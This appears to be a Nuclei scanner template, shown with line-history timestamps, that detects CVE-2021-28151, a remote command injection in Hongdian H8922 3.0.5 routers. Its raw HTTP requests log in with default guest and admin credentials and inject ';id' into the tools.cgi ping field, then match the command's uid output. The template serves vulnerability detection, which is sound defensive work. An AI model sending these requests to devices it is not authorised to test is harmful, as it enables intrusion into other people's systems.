2021-07-10 12:16:35 +00:00
id : CVE-2021-28151
info :
2022-07-26 13:45:11 +00:00
name : Hongdian H8922 3.0.5 - Remote Command Injection
2021-07-10 12:16:35 +00:00
author : gy741
severity : high
description : |
2023-03-27 17:46:47 +00:00
Hongdian H8922 3.0.5 devices are susceptible to remote command injection via shell metacharacters into the ip-address (a/k/a Destination) field to the tools.cgi ping command, which is accessible with the username guest and password guest. An attacker can execute malware, obtain sensitive information, modify data, and/or gain full control over a compromised system.
2023-09-27 15:51:13 +00:00
impact : |
Successful exploitation of this vulnerability allows remote attackers to execute arbitrary commands on the affected device.
2023-09-06 12:09:01 +00:00
remediation : |
Apply the latest security patch or update to a non-vulnerable version of the Hongdian H8922 firmware.
2021-08-18 11:37:49 +00:00
reference :
2021-07-10 13:15:09 +00:00
- https://ssd-disclosure.com/ssd-advisory-hongdian-h8922-multiple-vulnerabilities/
2022-05-17 09:18:12 +00:00
- http://en.hongdian.com/Products/Details/H8922
2022-07-26 13:45:11 +00:00
- https://nvd.nist.gov/vuln/detail/CVE-2021-28151
2024-01-29 17:11:14 +00:00
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/ArrestX/--POC
2021-09-10 11:26:40 +00:00
classification :
cvss-metrics : CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
2022-04-22 10:38:41 +00:00
cvss-score : 8.8
2021-09-10 11:26:40 +00:00
cve-id : CVE-2021-28151
cwe-id : CWE-78
2024-06-07 10:04:29 +00:00
epss-score : 0.96385
epss-percentile : 0.99564
2023-09-06 12:09:01 +00:00
cpe : cpe:2.3:o:hongdian:h8922_firmware:3.0.5:*:*:*:*:*:*:*
2023-04-28 08:11:21 +00:00
metadata :
max-request : 2
2023-07-11 19:49:27 +00:00
vendor : hongdian
product : h8922_firmware
2024-01-14 09:21:50 +00:00
tags : cve2021,cve,hongdian,rce,injection
2021-07-10 12:16:35 +00:00
2023-04-27 04:28:59 +00:00
http :
2021-07-10 12:16:35 +00:00
- raw :
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic Z3Vlc3Q6Z3Vlc3Q=
Origin : {{BaseURL}}
2021-09-08 12:17:19 +00:00
Referer : {{BaseURL}}/tools.cgi
2021-07-10 12:16:35 +00:00
op_type=ping&destination=%3Bid
- |
POST /tools.cgi HTTP/1.1
Host : {{Hostname}}
Authorization : Basic YWRtaW46YWRtaW4=
Origin : {{BaseURL}}
2021-09-08 12:17:19 +00:00
Referer : {{BaseURL}}/tools.cgi
2021-07-10 12:16:35 +00:00
op_type=ping&destination=%3Bid
matchers-condition : and
matchers :
- type : word
part : header
words :
2023-01-02 09:33:06 +00:00
- "text/html"
- "application/x-www-form-urlencoded"
condition : or
2022-07-26 13:45:11 +00:00
2023-07-11 19:49:27 +00:00
- type : regex
regex :
- 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
2023-01-02 09:33:06 +00:00
- type : status
status :
- 200
2024-01-30 06:46:18 +00:00
# digest: 490a004630440220543f456226b5ababe273ce9ad8c34d065bb95024abb3a99cfd1b28be68fd898f02204b87ac2d557eb22432055d8b6319a30fc6e69fafa9032a16626296da752838d0:922c64590222798bb761d5b6d8e72950